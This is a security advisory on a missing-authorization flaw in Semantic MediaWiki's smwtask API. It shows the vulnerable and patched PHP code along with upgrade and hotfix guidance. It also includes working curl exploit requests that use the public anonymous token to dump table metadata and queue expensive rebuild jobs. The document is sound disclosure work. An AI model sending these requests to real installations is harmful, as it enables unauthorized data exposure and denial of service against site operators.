GHSA-JR78-W6W5-M8F8: Missing Authorization in Semantic MediaWiki smwtask API Module Allows Unauthenticated Administrative Actions

Semantic MediaWiki functions as a highly integrated metadata and knowledge management platform for MediaWiki environments. It provides users with structured database querying, semantic relationships, and complex backend maintenance utilities. While standard administrative actions are managed through terminal scripts or the web-based Special:SMWAdmin page—which correctly verifies group privileges—the extension also registers an API module named smwtask inside the src/MediaWiki/Api/Task.php directory.

This API module handles routine, automated database operations and background tasks. The attack surface of this module is exposed directly over standard HTTP/HTTPS channels through the core MediaWiki API router (api.php?action=smwtask). Unauthenticated clients can target this endpoint to interface with administrative-level backend routines without executing any prior login procedures.

The vulnerability is classified under CWE-862 (Missing Authorization) and carries a CVSS v3.1 base score of 7.3. Because the API fails to validate user capabilities, the underlying security model is entirely bypassed. Attackers can leverage this path to perform internal database enumeration, task manipulation, data modification, and resource exhaustion against vulnerable web installations.

The underlying technical flaw stems from a fundamental design misconception regarding MediaWiki's Cross-Site Request Forgery (CSRF) protection mechanisms. The developers of the smwtask module attempted to secure state-changing actions by requiring a valid CSRF token. This restriction was implemented by configuring the needsToken() method within the API class to return 'csrf'.

In the MediaWiki security architecture, CSRF tokens protect authenticated users against drive-by request forgery but do not serve as an authentication or authorization boundary. MediaWiki issues a fixed, public, static CSRF token (+\) to all anonymous (unauthenticated) visitor sessions to ensure they can perform basic interactions. Consequently, any remote script can generate a request, pass this token, and completely satisfy the CSRF check.

Once the CSRF token validation succeeds, the execute() method in the Task class immediately constructs and runs the requested task object. The code queries TaskFactory to initialize the task and executes its process() handler. At no point in this request lifecycle does the application check if the current user possesses the administrative rights mapped to the backend actions. This omission allows an unauthenticated visitor to execute functions intended only for administrators.

To understand the implementation mistake, we examine the vulnerable source code in src/MediaWiki/Api/Task.php at version 7.2.1. The controller class lacks any validation for the active user session rights:

	/**
	 * @see ApiBase::execute
	 */
	public function execute(): void {
		$params = $this->extractRequestParams();
 
		$parameters = json_decode(
			$params['params'],
			true
		);
 
		if ( json_last_error() !== JSON_ERROR_NONE || !is_array( $parameters ) ) {
			$this->dieWithError( [ 'smw-api-invalid-parameters' ] );
		}
 
		// Direct initialization with current user security context
		$task = $this->taskFactory->newByType( $params['task'], $this->getUser() );
 
		// If the `uselang` isn't set then inject the language from the
		// logged-in user
		if ( !isset( $parameters['uselang'] ) || $parameters['uselang'] === '' ) {
			$parameters['uselang'] = $this->getLanguage()->getCode();
		}
 
		// We must validate if the lang code is valid
		$parameters['uselang'] = RequestContext::sanitizeLangCode( $parameters['uselang'] );
 
		// Execution proceeds directly with no user rights assessment
		$results = $task->process(
			$parameters
		);
 
		$this->getResult()->addValue(
			null,
			'task',
			$results
		);
	}

The patch in version 7.3.0 resolves this defect by querying the user permissions against the required capability of the initialized task class. The inclusion of $this->checkUserRightsAny() ensures authorization is verified before any processing starts:

		$task = $this->taskFactory->newByType( $params['task'], $this->getUser() );
 
		// Authorize before running: each task declares the right it needs.
		// This module is not otherwise access-controlled. `needsToken( 'csrf' )`
		// is satisfied by the public anonymous token and does not gate on rights.
		$this->checkUserRightsAny( $task->getRequiredPermission() );

An attacker can exploit this vulnerability with standard HTTP tools. The exploit flow is divided into an initial reconnaissance phase followed by administrative invocation.

First, the attacker requests the standard MediaWiki token array. Since the attacker is anonymous, the engine returns the default token designed for guest sessions:

curl -s 'https://example.com/api.php?action=query&meta=tokens&type=csrf&format=json'

The application replies with the anonymous token:

{
  "query": {
    "tokens": {
      "csrftoken": "+\\"
    }
  }
}

Using this token, the attacker calls the smwtask endpoint to execute functions such as table-statistics. This action dumps sensitive table metadata:

curl -s -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-raw 'action=smwtask&task=table-statistics&params={}&token=%2B%5C&format=json' \
  'https://example.com/api.php'

An attacker can also inject tasks into the backend queue or force synchronous execution to exhaust server resources:

curl -s --data-urlencode 'action=smwtask' \
  --data-urlencode 'task=insert-job' \
  --data-urlencode 'params={"subject":"Main_Page#0##","job":"smw.fulltextSearchTableRebuild","parameters":{"mode":"full"}}' \
  --data-urlencode 'token=+\' \
  --data-urlencode 'format=json' \
  'https://example.com/api.php'

The impact of successful exploitation spans several dimensions of the CIA triad. In terms of confidentiality, the table-statistics and duplicate-lookup tasks permit unauthorized read access to internal database schemas, metadata counts, table configurations, and identifier mappings.

In terms of data integrity, the smw.entityIdDisposer task can be used to selectively delete, strip, or corrupt stored semantic records in the underlying database. Attackers can target specific page identifiers, deleting their semantic metadata and breaking relationships within the knowledge base.

In terms of availability, an attacker can trigger expensive maintenance operations synchronously through the run-joblist, update, and check-query tasks. Executing heavy full-text rebuilds or complex queries on the web server's main thread blocks the execution pool. Sending multiple parallel requests can exhaust PHP-FPM process threads, causing high load and leading to a Denial of Service.

The recommended remediation is upgrading Semantic MediaWiki to version 7.3.0 or later. This release implements explicit user rights checks on each executed task class.

For systems where an immediate package upgrade is not feasible, administrators can apply a temporary hotfix. This hotfix unregisters the smwtask module entirely from the active API router. To deploy this mitigation, add the following PHP code block to the bottom of the LocalSettings.php file:

// Temporary hotfix for GHSA-JR78-W6W5-M8F8
$wgExtensionFunctions[] = static function () {
      unset( $GLOBALS['wgAPIModules']['smwtask'] );
};

This modification blocks all access to the vulnerability by removing the endpoint from the API routing table. However, it will also disable any legitimate automated maintenance routines that rely on this endpoint.